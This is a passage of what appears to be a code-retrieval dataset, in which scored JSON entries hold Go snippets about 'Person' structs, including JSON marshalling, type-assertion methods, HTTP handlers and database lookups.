make(map[string]interface{})\n\tif p.JobTitle != nil {\n\t\tobjectMap[\"jobTitle\"] = p.JobTitle\n\t}\n\tif p.TwitterProfile != nil {\n\t\tobjectMap[\"twitterProfile\"] = p.TwitterProfile\n\t}\n\tif p.Name != nil {\n\t\tobjectMap[\"name\"] = p.Name\n\t}\n\tif p.URL != nil {\n\t\tobjectMap[\"url\"] = p.URL\n\t}\n\tif p.Image != nil {\n\t\tobjectMap[\"image\"] = p.Image\n\t}\n\tif p.Description != nil {\n\t\tobjectMap[\"description\"] = p.Description\n\t}\n\tif p.AlternateName != nil {\n\t\tobjectMap[\"alternateName\"] = p.AlternateName\n\t}\n\tif p.BingID != nil {\n\t\tobjectMap[\"bingId\"] = p.BingID\n\t}\n\tif p.ReadLink != nil {\n\t\tobjectMap[\"readLink\"] = p.ReadLink\n\t}\n\tif p.WebSearchURL != nil {\n\t\tobjectMap[\"webSearchUrl\"] = p.WebSearchURL\n\t}\n\tif p.ID != nil {\n\t\tobjectMap[\"id\"] = p.ID\n\t}\n\tif p.Type != \"\" {\n\t\tobjectMap[\"_type\"] = p.Type\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "08e4f1515d11fa54121026284466162c", "score": "0.61920893", "text": "func main() {\n\tp := Person{\"Person Name\", 22}\n\tfmt.Printf(\"%#v\\n\", p) //prints: main.Person{Name:\"Person Name\", age:22}\n\n\tencoded, err := json.Marshal(p)\n\tif err != nil {\n\t\tfmt.Printf(\"%v\\n\", err)\n\t}\n\tfmt.Println(string(encoded)) //prints: {\"Name\":\"Person Name\"}\n\n\tvar o Person\n\tjson.Unmarshal(encoded, &o)\n\n\tfmt.Printf(\"%#v\\n\", o) //prints: main.Person{Name:\"Person Name\", age:0}\n}", "title": "" }, { "docid": "5b7f3e167978fcb2bea7eef7010e0199", "score": "0.6179881", "text": "func (nq NormalizedQuadrilateral) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "f7f09ab50fdbf55042f553c1f8e72cf2", "score": "0.61783296", "text": "func MakePerson() Person {\n\tvar concretePerson ConcretePerson\n\treturn &concretePerson\n}", "title": "" }, { "docid": "c8155476ca17eb51788684b9684cf925", "score": "0.6169893", "text": "func (person *Person) Kind() data.Kind {\n\treturn PersonKind\n}", "title": "" }, { "docid": "d8451b5f8f8c356116abe4cb031a7172", "score": "0.61578596", "text": "func (i Identifiable) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "168b1b00a19b525116732950c432c133", "score": "0.614452", "text": "func (i Intangible) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "6be30c089579c5c86cce58ee357e9240", "score": "0.6139026", "text": "func (ioVar ImageObject) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "e9c0c26f731da7708d9ef19514df4319", "score": "0.61195314", "text": "func (person person) toString() string {\n\treturn person.name + \" \" + person.surname\n}", "title": "" }, { "docid": "8d7fc585fab28a3b58e56647997cbabc", "score": "0.60982174", "text": "func (p person) toString() string {\n\treturn p.name + \" \" + p.lastName\n}", "title": "" }, { "docid": "7ea9dd77873a02cff802fa316d1ea509", "score": "0.60821056", "text": "func (p2 Point2D) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "de564bfb404ac60ece75c0cc13aa6d67", "score": "0.60217434", "text": "func (r Recipe) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "782b2c434faa2259da9cc6b209941cb0", "score": "0.60215896", "text": "func newPerson(name string) *person {\n\treturn &person{name}\n}", "title": "" }, { "docid": "f3b256f71554d2cca064768f4e638141", "score": "0.60010123", "text": "func (m *PersonName) Serialize(writer i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.SerializationWriter)(error) {\n err := m.ItemFacet.Serialize(writer)\n if err != nil {\n return err\n }\n {\n err = writer.WriteStringValue(\"displayName\", m.GetDisplayName())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"first\", m.GetFirst())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"initials\", m.GetInitials())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"languageTag\", m.GetLanguageTag())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"last\", m.GetLast())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"maiden\", m.GetMaiden())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"middle\", m.GetMiddle())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"nickname\", m.GetNickname())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteObjectValue(\"pronunciation\", m.GetPronunciation())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"suffix\", m.GetSuffix())\n if err != nil {\n return err\n }\n }\n {\n err = writer.WriteStringValue(\"title\", m.GetTitle())\n if err != nil {\n return err\n }\n }\n return nil\n}", "title": "" }, { "docid": "1f3fdef791d6764258d883836bc3a79c", "score": "0.59867686", "text": "func (o Offer) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "390915184cf9a5acb2751b13b467311b", "score": "0.59300566", "text": "func (ik ImageKnowledge) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "a4a5904bb990f3c260ac5f68c9f95667", "score": "0.5894243", "text": "func PersonStruct() {\n\tp := Person{\"Harsh\", 21, true} // Name:\"Harsh\", Age:21, IsMale: true\n\tq := &p\n\n\tq.Name = \"John\" // Struct fields can be accessed through struct pointer\n\tfmt.Println(p)\n\tfmt.Println(q)\n\n\tp1 := Person{} // Name:\"\", Age:0, IsMale: false\n\tfmt.Println(p1)\n\n\tp2 := Person{Name: \"Harsh\"} // Age and IsMale implicit to default values\n\tfmt.Println(p2)\n\n}", "title": "" }, { "docid": "c1af4f495b7066fa480132fe0028711b", "score": "0.5878183", "text": "func GetPerson(response http.ResponseWriter, request *http.Request) {\n\tresponse.Header().Add(\"content-type\", \"application/json\")\n\tparams := mux.Vars(request)\n\tid, _ := primitive.ObjectIDFromHex(params[\"id\"])\n\tvar person Person\n\n\tcollection, ctx := database.GetDB()\n\terr := collection.FindOne(ctx, Person{ID: id}).Decode(&person)\n\tif err != nil {\n\t\tresponse.WriteHeader(http.StatusBadRequest)\n\t\tresponse.Write([]byte(`{\"message\": \"` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\tjson.NewEncoder(response).Encode(person)\n}", "title": "" }, { "docid": "012718a8a11e2e4bdf9823f9bbda4cf2", "score": "0.58760357", "text": "func (p Person) String() string {\n\treturn \"(name: \" + p.name + \" - age: \" + strconv.Itoa(p.age) + \" years)\"\n}", "title": "" }, { "docid": "3c13e764f88dc95b13544f58e411ad15", "score": "0.5851321", "text": "func (self *RiveScript) SetPerson(name, value string) {\n\tself.rs.SetPerson(name, value)\n}", "title": "" }, { "docid": "00009471b32981adf8f7d042f50c8306", "score": "0.58284074", "text": "func (p Person) String() string {\n\treturn fmt.Sprintf(\"%v (%v years)\", p.Name, p.Age)\n}", "title": "" }, { "docid": "e0de5d39e817ea4db406dc7a115f0aab", "score": "0.5806729", "text": "func (c PersonConverter) String(a interface{}) (string, error) {\n\tp := a.(Person)\n\treturn fmt.Sprintf(\"%v,%v\", p.Name, p.Age), nil\n}", "title": "" }, { "docid": "588ae7d89d782744543a6471f3107d1b", "score": "0.5799555", "text": "func (rb ResponseBase) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "6ad8704add8dbb6a08409a048b87640d", "score": "0.57898706", "text": "func (p Person) print() {\n\tfmt.Printf(\"<Person name = %v %v>\\n\",\n\t\tp.firstname,\n\t\tp.lastname)\n\tp.printContact()\n}", "title": "" }, { "docid": "7388a486d43da68c942d18686a4317ba", "score": "0.5766584", "text": "func (t Thing) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "23b59d8cc566e10441d448bd37f66a9d", "score": "0.57515", "text": "func (*Person) Descriptor() ([]byte, []int) {\n\treturn file_person_person_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "076a0ce36e42b42968a5aa9d73d09e8e", "score": "0.57483715", "text": "func main(){\n var p1 Person\n p1.name = \"Ori\"\n\n barr, err := json.Marshal(p1)\n fmt.Println(barr)\n}", "title": "" }, { "docid": "80cd7c64925105f88235bffcf099e0f8", "score": "0.57329327", "text": "func (cw CreativeWork) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "5bdff868a83b21b76886e3dcadce1008", "score": "0.57224005", "text": "func (p Person) fullName() string {\n\t// p is like `this`\n\t// gettin values only from initial Person, not overidden by new SuperPerson object\n\t// if method will be modifying the reciever then it should ba a pointer\n\treturn p.first + \" \" + p.last\n}", "title": "" }, { "docid": "3fe904b024ad8ee90bc664e45211835a", "score": "0.571062", "text": "func (sv StructuredValue) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "a416fef21bb91fdf772d5d3202ca5d34", "score": "0.57089543", "text": "func NewPerson(code string, name string, age int, average float64, sex bool) (*Person, error){\n\t\n\tif code == \"\" {\n\t\treturn nil, fmt.Errorf(\"Code can not be empty\")\n\t}\n\n\tif age < 30 {\n\t\treturn nil, fmt.Errorf(\"Person must be older than 29`s\")\n\t}\n\n\tperson1 := &Person{\n\t\tCode: code, \n\t\tName: name, \n\t\tAge: age, \n\t\tAverage: average, \n\t\tSex: sex}\n\treturn person1, nil\n}", "title": "" }, { "docid": "40f9f70ee84ac1c9c060015271dd9f82", "score": "0.57029635", "text": "func (*Person) Descriptor() ([]byte, []int) {\n\treturn file_code_person_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "864a73df64a5bb1aa7107024f232f9ed", "score": "0.56957877", "text": "func (ao AggregateOffer) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "d3fc28d35b573cbc432098e182020a0a", "score": "0.5694776", "text": "func (o *InlineObject39) SetPerson(v PeopleIdJsonPerson) {\n\to.Person = &v\n}", "title": "" }, { "docid": "2432d73090f5bedad0dac681321daf7f", "score": "0.5677587", "text": "func NewPerson(firstname string, lastname string, carID uint, username string) (string, error) {\n\tdb := data.GetDb()\n\n\tvar car Car\n\tif err := db.First(&car, carID).Error; err != nil {\n\t\treturn \"Car failed\", err\n\t}\n\tperson := Person{Firstname: firstname, Lastname: lastname, Car: car, Username: username}\n\tif err := db.Create(&person).Error; err != nil {\n\t\treturn \"Failed\", err\n\t}\n\n\treturn \"Success\", nil\n}", "title": "" }, { "docid": "c55cc7c12a09c1c18b029ce47fc30775", "score": "0.5671405", "text": "func main() {\n\t// crear un nuevo objeto segun la estructura Persona creada\n\tpersona1 := Persona{nombre:\"pablo\", apellido:\"taddei\", edad: 27}\n\tfmt.Println(persona1)\n\t\n\t//segunda forma de crear un objeto con new\n\tpersona2 := new(Persona)\n\tpersona2.nombre = \"Lilian\"\n\n\tfmt.Println(persona2.nombre)\n\t\n\n}", "title": "" }, { "docid": "1b8ffeb565cbc466efb71246d6b9cd62", "score": "0.5671169", "text": "func (me TcontactTypeType) IsPerson() bool { return me.String() == \"person\" }", "title": "" }, { "docid": "ba2cd54234a6688fd20dea7f810862d6", "score": "0.5659165", "text": "func CreatePerson(res http.ResponseWriter, req *http.Request) {\n\tparams := mux.Vars(req)\n\tvar person data.Person\n\t_ = json.NewDecoder(req.Body).Decode(&person)\n\n\tperson.ID = params[\"id\"]\n\tdata.People = append(data.People, person)\n\tjson.NewEncoder(res).Encode(person)\n}", "title": "" }, { "docid": "6117f47a0f6d51264f10defc9abfe7d9", "score": "0.5657252", "text": "func (r Response) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "57090bd7e3460715b60c7bce910264a3", "score": "0.56253636", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v\", p)\n\n}", "title": "" }, { "docid": "14190e96f7c8d0c5a39a0f3ac55733d5", "score": "0.56206554", "text": "func NewPersonName()(*PersonName) {\n m := &PersonName{\n ItemFacet: *NewItemFacet(),\n }\n odataTypeValue := \"#microsoft.graph.personName\"\n m.SetOdataType(&odataTypeValue)\n return m\n}", "title": "" }, { "docid": "45d035247d7876789abefa0304baf634", "score": "0.56183094", "text": "func (p Person) Describe() {\n\tfmt.Printf(\"%v is %v years old, gender is %v.\\n\", p.Name, p.Age, p.Gender)\n}", "title": "" }, { "docid": "e4461575cc53363523306a473ea29950", "score": "0.5602889", "text": "func loadPerson(ID int) ([]byte, error) {\n\t// TODO: implement\n\treturn nil, errors.New(\"not implemented\")\n}", "title": "" }, { "docid": "90bdbfbe9d75c67cf448cdfa7925ea8c", "score": "0.55930454", "text": "func (cp ConcretePerson) String() string {\n\treturn fmt.Sprintf(\"ConcretePerson={id=%d, forename=%s,surname=%s}\",\n\t\tcp.id,\n\t\tcp.surname,\n\t\tcp.forename)\n}", "title": "" }, { "docid": "772e81e5240fa6e5d26d90b79db33643", "score": "0.5592389", "text": "func CreatePerson(w http.ResponseWriter, req *http.Request) {\n\tparams := mux.Vars(req)\n\tvar person Person\n\t_ = json.NewDecoder(req.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "9f66d2d5d748215b8331bde9bad455ce", "score": "0.5585442", "text": "func CreatePerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tvar person Person\n\t_ = json.NewDecoder(r.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "9f66d2d5d748215b8331bde9bad455ce", "score": "0.5585442", "text": "func CreatePerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tvar person Person\n\t_ = json.NewDecoder(r.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "9f66d2d5d748215b8331bde9bad455ce", "score": "0.5585442", "text": "func CreatePerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tvar person Person\n\t_ = json.NewDecoder(r.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "9f66d2d5d748215b8331bde9bad455ce", "score": "0.5585442", "text": "func CreatePerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tvar person Person\n\t_ = json.NewDecoder(r.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "066b60642c36e4b4e9ad4980d2b99191", "score": "0.55845326", "text": "func (it ImageTag) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "e3fd0f2922bb6b89ed7288e23ea66b1e", "score": "0.5579219", "text": "func CreatePerson(response http.ResponseWriter, request *http.Request) {\n\tcollection, ctx := database.GetDB()\n\tresponse.Header().Add(\"content-type\", \"application/json\")\n\tvar person Person\n\terr := json.NewDecoder(request.Body).Decode(&person)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfmt.Printf(\"%+v\\n\", person)\n\tresult, err := collection.InsertOne(ctx, person)\n\tif err != nil {\n\t\tlog.Fatal(err, \"Encountered error!\")\n\t\treturn\n\t}\n\tjson.NewEncoder(response).Encode(result)\n\tlog.Print(\"Done creating persoN!\")\n}", "title": "" }, { "docid": "d9ee719995b877a3d4f4b583351bfb2a", "score": "0.55767757", "text": "func Person(v int) predicate.CarCheckInOut {\n\treturn predicate.CarCheckInOut(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPerson), v))\n\t})\n}", "title": "" }, { "docid": "d41fe42a7b00529711ca48e092578129", "score": "0.55689883", "text": "func (*Person) Descriptor() ([]byte, []int) {\n\treturn file_person_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "053cc5105feb49cdfb18fe17a85b256b", "score": "0.5565949", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v \\n\", p)\n}", "title": "" }, { "docid": "99b86edce7f5243607a1dbc782b4ef31", "score": "0.5565752", "text": "func (p Person) greet() string { // p is an identifier, could be anything === p is instead of this / self\n\treturn \"Hello my name is \" + p.firstName + \" \" + p.lastName + \" and I am \" + strconv.Itoa(p.age) // can't have mismatched\n}", "title": "" }, { "docid": "d712929b02e87df38fd0c75cb0b4a4f8", "score": "0.55633473", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v\", p)\n}", "title": "" }, { "docid": "d712929b02e87df38fd0c75cb0b4a4f8", "score": "0.55633473", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v\", p)\n}", "title": "" }, { "docid": "d712929b02e87df38fd0c75cb0b4a4f8", "score": "0.55633473", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v\", p)\n}", "title": "" }, { "docid": "339b78a9944c53d65dc53c3b0ac175e3", "score": "0.55626804", "text": "func (p Person) AsPerson() (*Person, bool) {\n\treturn &p, true\n}", "title": "" }, { "docid": "d7e6262287ee89779a3bd6b4ce12284e", "score": "0.5555752", "text": "func GetPerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tfor _, item := range people {\n\t\t\tif item.ID == params[\"id\"] {\n\t\t\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\t\t\treturn\n\t\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Person{})\n}", "title": "" }, { "docid": "4397d53e313f63c5aa87a369fc3ca3b5", "score": "0.5554221", "text": "func (iea ImageEntityAction) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "3fac634f3d780854a8124eef5d039d3e", "score": "0.5537972", "text": "func (p Person) describe() {\n\tfmt.Printf(\"%v is %v years old.\", p.name, p.age)\n}", "title": "" }, { "docid": "4fd852b204bef81f67fe5c85315627b1", "score": "0.55368525", "text": "func (mo MediaObject) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "11478123a501deb6568a206837629e37", "score": "0.5526282", "text": "func (p person) print() {\n\tfmt.Printf(\"My name is %s %s and my email is %s and my business adress is %s %s, %s %v \", p.firstName, p.lastName, p.contact.email, p.contact.street, p.contact.city, p.contact.state, p.contact.zipCode)\n}", "title": "" }, { "docid": "c0dd70d226dda91ec42ce8ca90d76901", "score": "0.5513615", "text": "func (o *InlineObject39) HasPerson() bool {\n\tif o != nil && o.Person != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "145fbc4f86b3a800f141bbea8c108d8d", "score": "0.55043334", "text": "func PersonCreate(w http.ResponseWriter, r *http.Request) {\n\tvar person shared.Person\n\n\tbody, err := ioutil.ReadAll(io.LimitReader(r.Body, oneMegabyte))\n\thandleWebError(err, \"Failed to read message body.\")\n\n\terr = r.Body.Close()\n\thandleWebError(err, \"Failed to close response body\")\n\n\tif err := json.Unmarshal(body, &person); err != nil {\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusUnprocessableEntity)\n\t\terr := json.NewEncoder(w).Encode(err)\n\t\thandleWebError(err, \"Failed to encode error as JSON\")\n\t}\n\n\tperson.EnsureTimeStampIsSet()\n\n\tp, err := RepoSendPerson(person)\n\thandleWebError(err, \"Failed to send person for storage.\")\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusCreated)\n\terr = json.NewEncoder(w).Encode(p)\n\thandleWebError(err, \"Failed to encode person as JSON\")\n}", "title": "" }, { "docid": "ae8a992cbed0383e756987475ddda291", "score": "0.55034184", "text": "func NewPersonUse(pi printInterface) PersonUse {\n\treturn PersonUse{pi}\n}", "title": "" }, { "docid": "ea95e54a167bac527c9cabf2364d40e8", "score": "0.55006343", "text": "func GetPerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tfor _, item := range people {\n\t\tif item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Person{})\n}", "title": "" }, { "docid": "ea95e54a167bac527c9cabf2364d40e8", "score": "0.55006343", "text": "func GetPerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tfor _, item := range people {\n\t\tif item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Person{})\n}", "title": "" }, { "docid": "ea95e54a167bac527c9cabf2364d40e8", "score": "0.55006343", "text": "func GetPerson(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tfor _, item := range people {\n\t\tif item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Person{})\n}", "title": "" }, { "docid": "fc77af38a9fad7ebcbd0c11bca725e12", "score": "0.5500356", "text": "func showPerson(w http.ResponseWriter, r *http.Request) {\n\tdb := dbConn()\n\tnId := r.URL.Query().Get(\"id\")\n\tselDB, err := db.Query(\"SELECT * FROM person WHERE id=?\", nId)\n\tErrorCheck(err)\n\tper := Person{}\n\tfor selDB.Next() {\n\t\tvar ID int\n\t\tvar FirstName, LastName string\n\t\tvar Age int\n\t\tvar DateJoined time.Time\n\t\tvar DateUpdated time.Time\n\t\terr = selDB.Scan(&ID, &FirstName, &LastName, &Age, &DateJoined, &DateUpdated)\n\t\tErrorCheck(err)\n\t\tper.ID = ID\n\t\tper.FirstName = FirstName\n\t\tper.LastName = LastName\n\t\tper.Age = Age\n\t\tper.DateJoined = DateJoined\n\t\tper.DateUpdated = DateUpdated\n\t\tfmt.Println(FirstName)\n\t}\n\ttmpl.ExecuteTemplate(w, \"ShowPerson\", per)\n\tdefer db.Close()\n}", "title": "" }, { "docid": "8d2e48fe497d646bc962cc2d8d9dd158", "score": "0.5455765", "text": "func main() {\n\n\t// Declaration de la variable\n\tvar p Person\n\n\tp.Name = \"Bob\"\n\tp.Addr.city = \"Lyon\"\n\n}", "title": "" }, { "docid": "3ca4b7ee131504d2c1d87dd204e86af3", "score": "0.5439895", "text": "func GetAllPerson(w http.ResponseWriter, r *http.Request) {\n\tvar persons []entity.Person\n\tdatabase.Connector.Find(&persons)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(persons)\n}", "title": "" }, { "docid": "eacdd78eea85874fb5d81636c0456ee9", "score": "0.5438998", "text": "func PersonToJSONable(\n\tinstance *Person) (\n\ttarget map[string]interface{}) {\n\n\tif instance == nil {\n\t\tpanic(\"unexpected nil instance\")\n\t}\n\n\ttarget = make(map[string]interface{})\n\n\t////\n\t// Serialize FullName\n\t////\n\n\ttarget[\"full_name\"] = instance.FullName\n\n\t////\n\t// Serialize Birthday\n\t////\n\n\ttarget[\"birthday\"] = instance.Birthday.Format(\n\t\t\"2006-01-02\")\n\n\t////\n\t// Serialize Address\n\t////\n\n\ttarget[\"address\"] = AddressToJSONable(\n\t\t&instance.Address)\n\n\treturn\n}", "title": "" }, { "docid": "c5e0e91123b47b9f197fc382e34df3f0", "score": "0.5406548", "text": "func (p *Person) modifyPersonWay1() (*Person) {\n p.Name = \"ret-p-Name-1\"\n return &Person{p.Name, p.Age}\n}", "title": "" }, { "docid": "6b7cb18dfbc4114a21aca30389c7feff", "score": "0.54063314", "text": "func (t *TMDB) PersonDetails(id int64, params ...option) (*Person, error) {\n\tp := new(Person)\n\tif err := t.get(p, fmt.Sprintf(\"/3/person/%d\", id), url.Values{}, params...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn p, nil\n}", "title": "" }, { "docid": "ca96c32c9ed27ae6eddcd1828078191f", "score": "0.53840905", "text": "func (s *server) CreatePerson(ctx context.Context, in *pb.PersonRequest) (*pb.PersonResponse, error) {\n s.savedPersons = append(s.savedPersons, in)\n return &pb.PersonResponse{Id: in.Id, Success: true}, nil\n}", "title": "" }, { "docid": "e3cb7220ac0e9e773b2561916d340a68", "score": "0.5371183", "text": "func GetAllPerson(w http.ResponseWriter, r *http.Request) {\n\tvar persons []model.Person\n\tdatabase.Connector.Find(&persons)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(persons)\n}", "title": "" }, { "docid": "f69ffaebbb46f57bdee27292c50f4180", "score": "0.5370629", "text": "func (a Action) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "3f0130894ea5d9c3b0c6898fef0bcbb6", "score": "0.5363737", "text": "func main() {\n\tname := person.Person_Name{\n\t\tFamily: \"newmarch\",\n\t\tPersonal: \"jan\",\n\t}\n\temail1 := person.Person_Email{\n\t\tKind: \"home\",\n\t\tAddress: \"jan@newmarch.name\",\n\t}\n\temail2 := person.Person_Email{\n\t\tKind: \"work\",\n\t\tAddress: \"j.newmarch@boxhill.edu.au\",\n\t}\n\temails := []*person.Person_Email{&email1, &email2}\n\n\tp := person.Person{\n\t\tName: &name,\n\t\tEmail: emails,\n\t}\n\n\tfmt.Println(p)\n\tdata, err := proto.Marshal(&p)\n\tcheckError(err)\n\n\tnewP := person.Person{}\n\terr = proto.Unmarshal(data, &newP)\n\tcheckError(err)\n\n\tfmt.Println(newP)\n}", "title": "" }, { "docid": "f3bc1088a72fb95b5c71cecc049e9633", "score": "0.53610295", "text": "func GetPersonEndpoint(w http.ResponseWriter, req *http.Request) {\n\tparams := mux.Vars(req)\n\tfor _, item := range people {\n\t\tif item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Person{})\n}", "title": "" }, { "docid": "32085785fac8f88e8dd5c63f6d1ef31e", "score": "0.5355571", "text": "func (ia ImageAction) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "d09990a3f5cb2bbd589494be03f2ba82", "score": "0.53549635", "text": "func (ira ImageRecipesAction) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "27db47f7565450b8e70641aaa924fab9", "score": "0.5350478", "text": "func (*controller) AddPerson(resp http.ResponseWriter, req *http.Request) {\n\tvar person entity.Person\n\t\n\tresp.Header().Set(\"Content-Type\", \"application/json\")\n\terr := json.NewDecoder(req.Body).Decode(&person)\n\tif err != nil {\n\t\tlog.Printf(\"personController.AddPerson: %v\", err.Error())\n\t\tresp.WriteHeader(http.StatusInternalServerError)\n\t\tjson.NewEncoder(resp).Encode(utils.ServiceError{Message: err.Error()})\n\t\treturn\n\t}\n\n\tnewPerson, err := personService.AddPerson(&person)\n\tif err != nil {\n\t\tresp.WriteHeader(http.StatusInternalServerError)\n\t\tjson.NewEncoder(resp).Encode(utils.ServiceError{Message: err.Error()})\n\t\treturn\n\t}\n\n\tresp.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(resp).Encode(newPerson)\n}", "title": "" }, { "docid": "91bedd6b6ac7b44ce7b0f94f1eff061f", "score": "0.53416765", "text": "func CreatePerson(w http.ResponseWriter, r *http.Request) {\n params := mux.Vars(r)\n var person book.Person\n _ = json.NewDecoder(r.Body).Decode(&person)\n person.ID = params[\"id\"]\n theBook.People = append(theBook.People, person)\n GetPeople(w, r)\n}", "title": "" }, { "docid": "6f05771f6e354051fdb98cafc5b0daed", "score": "0.53269017", "text": "func CreatePersonEndpoint(w http.ResponseWriter, req *http.Request) {\n\tparams := mux.Vars(req)\n\tvar person Person\n\t_ = json.NewDecoder(req.Body).Decode(&person)\n\tperson.ID = params[\"id\"]\n\tpeople = append(people, person)\n\tjson.NewEncoder(w).Encode(people)\n}", "title": "" }, { "docid": "f2d51b3a2894e9425a0c39be8043d577", "score": "0.53261286", "text": "func main() {\n\t// // can use person{\"Alex\", \"Anderson\"} to assign structs but its a bad idea\n\t// alex := person{firstName: \"Alex\", lastName: \"Anderson\"}\n\t// fmt.Println(alex)\n\t// // to have intialize as empty use\n\t// var jack person\n\t// jack.firstName = \"jack\"\n\t// jack.lastName = \"nickels\"\n\n\t// fmt.Println(jack)\n\t// fmt.Printf(\"%+v\", jack)\n\n\tjim := person{\n\t\tfirstName: \"Jim\",\n\t\tlastName: \"Dun\",\n\t\tcontactInfo: contactInfo{\n\t\t\temail: \"jim@gmail.com\",\n\t\t\tzipeCode: 9400,\n\t\t},\n\t}\n\n\t// points to ram\n\tjimPointer := &jim // could just use the line below as a shortcut\n\tjimPointer.updateName(\"jimmy\")\n\tjim.print()\n}", "title": "" }, { "docid": "b2615e9719bdf55865bb7b1178bc1649", "score": "0.52937114", "text": "func (p person) String() string{\n\treturn fmt.Sprintf(\"my name is: %s, and I am %s\", p.name, p.born.String())\n}", "title": "" }, { "docid": "7fd50e8a08245d438d3023f28e054a1a", "score": "0.52925", "text": "func (person Person) getName() string {\n\treturn person.Name\n}", "title": "" }, { "docid": "51f574b87ed6c245d3401ffe6032b979", "score": "0.52818584", "text": "func (o Organization) AsPerson() (*Person, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "b6cef5bfbd41709fd7cd2c18f9b6d12e", "score": "0.5279821", "text": "func (u PersonUse) PrintPersonName(p 